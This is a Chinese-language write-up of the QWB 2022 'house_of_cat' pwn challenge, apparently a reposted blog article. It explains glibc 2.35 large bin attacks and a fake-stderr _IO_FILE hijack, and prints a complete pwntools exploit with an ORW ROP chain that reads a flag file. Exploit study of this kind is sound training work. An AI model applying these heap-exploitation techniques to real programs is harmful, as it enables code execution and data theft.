這道題在pwn方向是做出來的隊(duì)伍最多的一道題,但由于筆者之前對(duì)于高版本glibc的_IO_FILE攻擊方式不甚了解,因此比賽的時(shí)候跳過了。本文就對(duì)該題進(jìn)行從原理到實(shí)戰(zhàn)的詳細(xì)分析,幫助讀者理解本題使用過的攻擊方式。
house_of_cat
本題使用的glibc版本是2.35,是目前ubuntu 22.04上最新的glibc版本。因此本題的調(diào)試與做題環(huán)境為:Ubuntu 22.04。
本題的漏洞利用方式為house of apple,這是一種基于large bin attack的_IO_FILE攻擊方式。那么首先我們就需要了解large bin attack和_IO_FILE利用這兩個(gè)基礎(chǔ)知識(shí)。
前置知識(shí)1——高版本libc的large bin attack
large bin attack從2.23版本到2.35版本,一直是一種沒有被解決的利用方式,在高版本的libc中,large bin attack的具體方式與低版本區(qū)別并不大,利用原理也是相同的。不過與2.23和2.27版本不同,2.30及以上版本在_int_malloc函數(shù)中對(duì)于large bin新增了兩個(gè)檢查:(截圖來自這里)
下面我們通過how2heap簡(jiǎn)單看一下2.35版本的large bin attack是如何實(shí)現(xiàn)的。
Since glibc2.30, two new checks have been enforced on large bin chunk insertion
Check 1 :
> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
> malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 :
> if (bck->fd != fwd)
> malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below :
====================================================================
Here is the target we want to overwrite (0x7ffc96dca630) : 0
First, we allocate a large chunk [p1] (0x564fd9bdc290)
And another chunk to prevent consolidate
We also allocate a second large chunk [p2] (0x564fd9bdc6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate
Free the larger of the two --> [p1] (0x564fd9bdc290)
Allocate a chunk larger than [p1] to insert [p1] into large bin
Free the smaller of the two --> [p2] (0x564fd9bdc6e0)
At this point, we have one chunk in large bin [p1] (0x564fd9bdc290),
and one chunk in unsorted bin [p2] (0x564fd9bdc6e0)
Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc96dca610)
Finally, allocate another chunk larger than [p2] (0x564fd9bdc6e0) to place [p2] (0x564fd9bdc6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x564fd9bdc6e0) into largebin, [p1](0x564fd9bdc290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x564fd9bdc6e0)
In out case here, target is now overwritten to address of [p2] (0x564fd9bdc6e0), [target] (0x564fd9bdc6e0)
Target (0x7ffc96dca630) : 0x564fd9bdc6e0
====================================================================
以上就是程序的輸出結(jié)果??梢钥吹狡淅玫姆绞椒浅:?jiǎn)單,前提條件是:
- large bin中有1個(gè)chunk,unsorted bin中有一個(gè)chunk(如果被鏈入到large bin中需要與前面的chunk鏈到一個(gè)bin中),且large bin中的比unsorted bin中的大。
- 可以修改large bin中chunk的bk_nextsize指針。
當(dāng)我們分配一個(gè)大chunk使得unsorted bin中的chunk被鏈入到large bin時(shí),由于原先的large bin chunk比這個(gè)chunk大,所以居于其后(對(duì)large bin鏈入過程不清楚的讀者可以先看這里),這就繞過了添加的兩個(gè)檢查,能夠成功將原large bin chunk中的bk_nextsize->fd_nextsize修改為新鏈入的chunk地址,即實(shí)現(xiàn)了任一地址寫一個(gè)堆地址。
前置知識(shí)2——_IO_FILE
在之前的文章中分析過,這里就不費(fèi)筆墨了。在這篇文章中也有簡(jiǎn)要的介紹。
既然large bin attack可以實(shí)現(xiàn)任意地址寫,如果我們將_IO_list_all的值修改為一個(gè)堆地址,那我們豈不是可以控制_IO_FILE結(jié)構(gòu)體的執(zhí)行流了嗎?現(xiàn)在,我們就回到這道題本身來進(jìn)行分析。
Step 1: 逆向分析
這道題的漏洞很好找,就在delete_cat這個(gè)函數(shù)中,刪除操作中的free并未清空指針,因此有UAF漏洞。不過在能夠操作菜單之前,我們還需要進(jìn)行登錄操作。這一部分的分析不難,按照函數(shù)的執(zhí)行流程進(jìn)行分析調(diào)試就能夠獲取到成功登錄的字符串輸入格式。最終通過login函數(shù)成功登錄的字符串為:LOGIN | r00t QWB QWXFadmin\x00
在進(jìn)入菜單之后,我們還需要通過某些檢查。這些檢查也不難通過,輸入字符串為:CAT | r00t QWB QWXF\xFF$
重點(diǎn)就在于菜單的四種操作。添加是正常的添加操作,只不過每一次添加的chunk可寫部分大小必須在0x418到0x470之間,這是屬于large bin的范圍,因此本題和tcache無關(guān)。
然后是編輯功能,每一次只能編輯chunk可寫部分的前30個(gè)字節(jié)而不能控制所有字節(jié)。
show與edit相同,也是只能展示前30字節(jié)。
由于本題中的delete函數(shù)有UAF漏洞,因此我們只要show一個(gè)free chunk就能夠輕松獲取到libc和堆地址。因此進(jìn)行一次large bin attack并不是什么難事。但關(guān)鍵在于,我們應(yīng)該如何構(gòu)造假的_IO_FILE結(jié)構(gòu)體。注意,本題中使用了沙箱,我們不能直接調(diào)用system函數(shù)getshell,因此還需要借用setcontext函數(shù)。
Step 2: 漏洞分析
本文主要參考Nu1L師傅的wp進(jìn)行分析。其使用了__malloc_assert
函數(shù)作為跳板進(jìn)行漏洞利用。首先我們需要知道這個(gè)函數(shù)在何處被調(diào)用。
// malloc.c line 292
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
extern const char *__progname;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
在malloc.c中我們可以找到,這里的__assert_fail
就是__malloc_assert
,即在這里調(diào)用assert_fail
就相當(dāng)于調(diào)用__malloc_assert
。而__assert_fail
是在assert
函數(shù)中被調(diào)用,因此只需要找到在malloc
函數(shù)中何處調(diào)用了assert
函數(shù)即可。但assert
函數(shù)調(diào)用的地方實(shí)在太多,我們應(yīng)該選擇哪一個(gè)呢?注意在_int_malloc
函數(shù)中,所有針對(duì)堆的檢查錯(cuò)誤信息打印都是使用malloc_printerr
函數(shù)而非assert
。因此我們選擇_int_malloc
函數(shù)調(diào)用的sysmalloc
函數(shù)。在sysmalloc
函數(shù)中有檢查是使用assert
來實(shí)現(xiàn)的,而在_int_malloc
函數(shù)中只有當(dāng)完全確認(rèn)釋放的chunk無法滿足申請(qǐng)需求且top chunk的大小也小于申請(qǐng)大小時(shí)才會(huì)調(diào)用sysmalloc
函數(shù)。我們首先分析一下進(jìn)入sysmalloc
函數(shù)之后應(yīng)該如何做才能拿到flag,至于如何調(diào)用sysmalloc
函數(shù),則是堆塊排布方面的事情了,我們?cè)诤竺嬉矔?huì)提到。
在sysmalloc
函數(shù)中,有這樣一條assert
語句:
// malloc.c line 2617
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
這是用來檢查top chunk
的一些屬性,其中注意最后一行,top chunk
必須頁對(duì)齊。如果這里的top chunk
沒有滿足頁對(duì)齊,那么就會(huì)調(diào)用__assert_fail
函數(shù),也即__malloc_assert
函數(shù)。而在__malloc_assert
函數(shù)中,經(jīng)過調(diào)試發(fā)現(xiàn),漏洞利用是發(fā)生在調(diào)用__fxprintf
中而非fflush
函數(shù)。這是因?yàn)楫?dāng)我們執(zhí)行到assert
失敗時(shí),_IO_FILE
應(yīng)該已經(jīng)被我們修改,而__fxprintf
作為一個(gè)需要將字符串輸出到控制臺(tái)的函數(shù),必然會(huì)調(diào)出stderr
文件描述符進(jìn)行輸出。但這個(gè)時(shí)候只有我們自己偽造的_IO_FILE
指針,只要我們構(gòu)造好假的stderr
,就有可能實(shí)現(xiàn)任意代碼執(zhí)行。
筆者仔細(xì)研究了一下本題的利用思路,發(fā)現(xiàn)這是典型的house of emma利用方法。(資料參考)
經(jīng)過筆者多次調(diào)試跟蹤,最終發(fā)現(xiàn)程序在__vfprintf_internal+0x280
處調(diào)用了vtable+0x38
處的函數(shù),其第一個(gè)參數(shù)rdi
指向的是偽造的stderr
:
查看vtable類型的源碼聲明:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
可以看到,這里本意實(shí)際是想要調(diào)用結(jié)構(gòu)體中偏移為0x38的成員,即_IO_xsputn_t
函數(shù)。
又找到_IO_cookie_jumps
結(jié)構(gòu)體:
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
其中注意到有一個(gè)_IO_cookie_read
函數(shù),我們查看一下這個(gè)函數(shù)在IDA中的匯編:
.text:000000000007F7B0 ; __unwind {
.text:000000000007F7B0 endbr64
.text:000000000007F7B4 mov rax, [rdi+0E8h]
.text:000000000007F7BB ror rax, 11h
.text:000000000007F7BF xor rax, fs:30h
.text:000000000007F7C8 test rax, rax
.text:000000000007F7CB jz short loc_7F7D6
.text:000000000007F7CD mov rdi, [rdi+0E0h]
.text:000000000007F7D4 jmp rax
.text:000000000007F7D6 ; ---------------------------------------------------------------------------
.text:000000000007F7D6
.text:000000000007F7D6 loc_7F7D6: ; CODE XREF: sub_7F7B0+1B↑j
.text:000000000007F7D6 mov rax, 0FFFFFFFFFFFFFFFFh
.text:000000000007F7DD retn
注意到這里有一個(gè)jmp rax
,實(shí)際上就是jmp [rdi+0E8h]
。而這里的rdi
就是偽造的stderr
,因此我們只需要在假stderr
后面的特定位置寫入_IO_cookie_jumps+0x38
就可以保證執(zhí)行到_IO_cookie_read
函數(shù),然后在假stderr+0xE8
的位置寫入正確的值就能夠使得jmp rax
跳轉(zhuǎn)到我們想要的地方去。不過在此之前我我們可以看到_IO_cookie_read
函數(shù)對(duì)rax
的值做了一些修改,即上述代碼中的ror
指令和xor
指令。這實(shí)際上是高版本glibc新增加的一種保護(hù)措施:
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
注意這里的PTR_DEMANGLE
函數(shù),就是ror/xor
指令的實(shí)現(xiàn),其實(shí)質(zhì)是:
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
注意:在/sysdeps/unix/sysv/linux/x86_64/sysdep.h
文件中有4個(gè)關(guān)于PTR_DEMANGLE
函數(shù)的聲明,但通過查看源碼可知最有可能采用的就是上面的這個(gè)宏定義。通過源碼可知第一條語句ror
循環(huán)右移的位數(shù)為11,而第二條語句xor rax, fs:30h
中的fs:30h
應(yīng)該指的就是tcbhead_t.pointer_guard
這個(gè)東西。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int unused_vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
這是tcbhead_t
的聲明,可以看到除了pointer_guard
之外,這里面還定義有stack_guard
,合理猜測(cè)這應(yīng)該是用于canary
。經(jīng)過驗(yàn)證發(fā)現(xiàn)確實(shí)如此,函數(shù)開頭的mov rax, fs:28h
取的就是stack_guard
的值。因此這里的fs:30h
也就是pointer_guard
的值。我們并不能讀取原來的pointer_guard
,但我們能通過large bin attack
將這里的值修改為一個(gè)已知的值,這樣我們就可以自行對(duì)想要執(zhí)行的地址進(jìn)行處理,經(jīng)過_IO_cookie_read
函數(shù)右移處理后變成正確的代碼地址。那么tcbhead_t
這個(gè)結(jié)構(gòu)體在什么地方呢?實(shí)際上這個(gè)結(jié)構(gòu)體并不在libc中,而是在緊鄰libc低地址處的一塊內(nèi)存空間中(見下圖),其與libc起始地址的偏移為-0x28c0
。但這個(gè)值是在wp中的exp出現(xiàn)的,如果是我們自己做題,又應(yīng)該如何獲得這個(gè)值呢?前面提到pointer_guard
與stack_guard
相鄰。我們?cè)诔绦蛘{(diào)試的時(shí)候可以將斷點(diǎn)下在函數(shù)開頭獲取stack_guard
的地方——mov rax, fs:0x28
,獲得stack_guard
的值后再對(duì)內(nèi)存空間進(jìn)行搜索,這樣就可以輕松找到tcbhead_t
結(jié)構(gòu)體了。
在本題中,我們可以通過large bin attack輕松修改這里的值,由此我們就可以在fake stderr+0xE8
處寫入處理后的地址值,然后就可以實(shí)現(xiàn)任意地址執(zhí)行。由于本題開啟了沙箱,因此這里容易想到跳轉(zhuǎn)到一個(gè)稱為pcop的gadget,由于在新版本libc中setcontext
函數(shù)中對(duì)rsp
賦值的地址不再由rdi
取值,因此需要這一個(gè)gadget將rdx
賦值,其中的rdi
附近內(nèi)存是我們可控的,因此通過這個(gè)gadget地址我們就可以控制rdx
的值:
.text:00000000001675B0 mov rdx, [rdi+8]
.text:00000000001675B4 mov [rsp+0C8h+var_C8], rax
.text:00000000001675B8 call qword ptr [rdx+20h]
我們可以將rdx
賦值為一個(gè)可控的內(nèi)存空間地址,然后通過call
指令跳轉(zhuǎn)到setcontext
函數(shù)中就可以成功實(shí)現(xiàn)棧遷移。
現(xiàn)在我們已經(jīng)搞清楚了如何通過假的stderr
實(shí)現(xiàn)任意代碼執(zhí)行,但我們應(yīng)該如何替換stderr
呢?前面提到,我們需要使用一次large bin attack
修改pointer_guard
的值,在這里,我們還需要再進(jìn)行一次large bin attack
直接修改stderr
的值。注意到large bin
的前32個(gè)bin所保存的chunk的大小差值為0x40,即大小在0x400~0x430的chunk保存在第一個(gè)large bin
,而0x440~0x470則保存在第二個(gè)large bin
中,兩個(gè)相鄰的bin中保存的最小chunk的大小之差為0x40。從本題可以分配的chunk大小可知,我們一共可以進(jìn)行2次large bin attack
,這兩次攻擊應(yīng)發(fā)生在不同的bin中。
現(xiàn)在,我們也已經(jīng)有了辦法替換stderr
,但還有最后一個(gè)問題:如何才能讓top chunk
縮???根據(jù)本題的UAF漏洞不難聯(lián)想,這一題應(yīng)該是想要讓我們通過UAF漏洞修改top chunk
的大小。具體的步驟如下:
我們需要首先分配兩個(gè)相鄰chunk,假設(shè)大小均為0x440,并在其高地址處分配至少一個(gè)chunk暫時(shí)防止與top chunk
合并。然后釋放兩個(gè)相鄰chunk,釋放后二者會(huì)進(jìn)行合并。此時(shí)再次分配一個(gè)大小為0x430的chunk和一個(gè)0x450的chunk重新獲取這兩個(gè)chunk的內(nèi)存空間,修改原來被釋放的chunk的頭部。由于我們還保存著原來chunk的指針,因此可以再一次釋放這個(gè)chunk,使其與top chunk直接合并,然后繼續(xù)編輯就可以成功修改top chunk的大小。
Step 3: 編寫exp
為了行文邏輯流暢,這里先將exp貼出來,然后再對(duì)其中細(xì)節(jié)進(jìn)行深入分析:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./house_of_cat')
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
main_arena_base = 0x219C80
def add_cat(index, size, content):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
io.sendlineafter(b'plz input your cat size:\n', str(size).encode())
io.sendafter(b'plz input your content:\n', content)
def delete_cat(index):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'2')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def show_cat(index):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'3')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def edit_cat(index, content):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'4')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
io.sendlineafter(b'plz input your content:\n', content)
io.sendlineafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00') # admin = 1
# add_cat(0, 0x430, b'colin')
add_cat(1, 0x428, b'colin')
add_cat(2, 0x430, b'colin')
add_cat(4, 0x418, b'colin')
add_cat(5, 0x440, b'colin')
delete_cat(1)
show_cat(1)
io.recv(9)
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
base = main_arena - main_arena_base
stderr = base + libc.symbols['stderr']
tcbhead_t = base - 0x28C0
_IO_cookie_jumps = base + 0x215B80
print(hex(base))
add_cat(3, 0x440, b'colin')
delete_cat(4)
show_cat(1)
io.recv(25)
heap_base = u64(io.recv(6) + b'\x00\x00') - 0x290
edit_cat(1, p64(main_arena + 1104) * 2 + p64(0) + p64(tcbhead_t + 0x10))
add_cat(0, 0x430, b'colin')
pointer_guard = heap_base + 0xB00
print(hex(pointer_guard))
print(hex(heap_base))
# some useful gadgets
pcop = 0x1675B0 + base
pop_rdi = 0x2A3E5 + base
pop_rsi = 0x2BE51 + base
pop_rdx_rbx = 0x90529 + base
pop_rax = 0x45EB0 + base
syscall = 0x91396 + base
print(hex(pcop))
encrypted_addr = ((pcop ^ pointer_guard) << 0x11) & ((1 << 64) - 1) + \
(((pcop ^ pointer_guard) & (((1 << 64) - 1) - ((1 << 47) - 1))) >> 47)
# create fake _IO_FILE struct for fake stderr
payload = FileStructure()
payload.vtable = _IO_cookie_jumps + 0x38 # address of _IO_file_xsputn, vtable + 0x38 = _IO_cookie_read
payload._lock = base + 0x21BA70 # _IO_stdfile_1_lock
payload = bytes(payload)[0x10:]
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(encrypted_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(0)
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(0) * 2
payload += p64(base + libc.symbols['setcontext'] + 61)
# use SigReturn frame to set rsp and rcx
frame = SigreturnFrame()
frame.rsp = heap_base + 0x28F0 + 0x300
frame.rip = pop_rdi + 1
payload += flat(frame)[0x28:]
payload = payload.ljust(0x300, b'\x00')
# construct ROP chain
# close the stdin, and it will reopen automatically
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(base + libc.symbols['close'])
# open file ./flag
payload += p64(pop_rdi)
payload += p64(heap_base + 0x28F0 + 0x400)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2) # syscall code for open
payload += p64(syscall)
# read file ./flag to heap
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['read'])
# write content in ./flag
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['write'])
payload = payload.ljust(0x400) + b'./flag\x00'
add_cat(6, 0x430, b'colin')
add_cat(7, 0x450, b'colin')
add_cat(8, 0x430, b'colin')
add_cat(9, 0x440, payload)
add_cat(10, 0x430, b'colin')
delete_cat(6)
delete_cat(7)
add_cat(11, 0x460, b'\x00' * 0x430 + p64(0) + p64(0x461))
add_cat(12, 0x420, b'\x00')
delete_cat(7)
add_cat(13, 0x450, b'\x00' * 0x20 + p64(0) + p64(0x1101))
delete_cat(7)
add_cat(14, 0x460, b'\x00')
delete_cat(9)
delete_cat(12)
delete_cat(14)
# delete_cat(11)
edit_cat(7, p64(base + 0x21A0E0) * 2 + p64(0) + p64(base + libc.symbols['stderr'] - 0x20) + p64(0) + p64(0x201))
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', b'15')
# gdb.attach(io)
# time.sleep(1)
io.sendlineafter(b'plz input your cat size:\n', b'1129')
io.interactive()
前面的交互就不用說了,首先是釋放chunk 1和4獲取到libc和heap地址,并順便使用0x400~0x430的large bin的large bin attack修改tcbhead_t
結(jié)構(gòu)體中的pointer_guard
。pcop
變量就是前面提到的pcop地址,encrypted_addr
就是處理后的地址,經(jīng)過_IO_cookie_read
函數(shù)處理后能夠變成pcop
地址。
在payload中首先是_IO_FILE
結(jié)構(gòu)體,可以使用pwntools
自帶的FileStructure
類進(jìn)行聲明,如果需要將其轉(zhuǎn)為字節(jié)可使用bytes()
函數(shù)進(jìn)行處理。這里需要注意我們舍去了_IO_FILE
的前0x10字節(jié),因?yàn)閘arge bin attack只能夠?qū)hunk地址寫到stderr
中,在可寫頭前面還有prev_size
和size
字段,為了保證對(duì)齊,需要舍棄_IO_FILE
結(jié)構(gòu)體的前0x10字節(jié)。
在_IO_FILE
結(jié)構(gòu)體后加上這個(gè)地方的堆地址和處理后的pcop地址,能夠保證_IO_cookie_read
函數(shù)能夠跳轉(zhuǎn)到pcop中。以0x100對(duì)齊后加上setcontext
函數(shù)地址使得pcop能夠調(diào)用到setcontext
函數(shù)。
在setcontext
后面緊跟SigReturnFrame
結(jié)構(gòu)體,這個(gè)結(jié)構(gòu)體本來是用作系統(tǒng)調(diào)用sysreturn
的,這里使用是因?yàn)槠渲?code>rsp和rip
的值正好能夠?qū)?yīng)上setcontext
函數(shù)中的相關(guān)指令,能夠通過修改SigReturnFrame
結(jié)構(gòu)體使得setcontext
將rsp
修改為我們想要棧遷移的地址,rip
修改為我們想要跳轉(zhuǎn)到的地址。注意這里的SigReturnFrame
結(jié)構(gòu)體舍棄了前面的0x28字節(jié),原因與_IO_FILE
舍棄前0x10字節(jié)類似,都是為了對(duì)齊。
在此之后就是ROP鏈,將rsp
設(shè)置到這里,待setcontext
返回后即可在這里繼續(xù)執(zhí)行,后面就是常規(guī)的orw。
成功getshell。文章來源:http://www.zghlxwxcb.cn/news/detail-454097.html
總結(jié)
理解本題的關(guān)鍵在于理解函數(shù)調(diào)用鏈:calloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->...->_IO_cookie_read->pcop->setcontext->ROP
文章來源地址http://www.zghlxwxcb.cn/news/detail-454097.html
到了這里,關(guān)于強(qiáng)網(wǎng)杯2022 pwn 賽題解析——house_of_cat的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!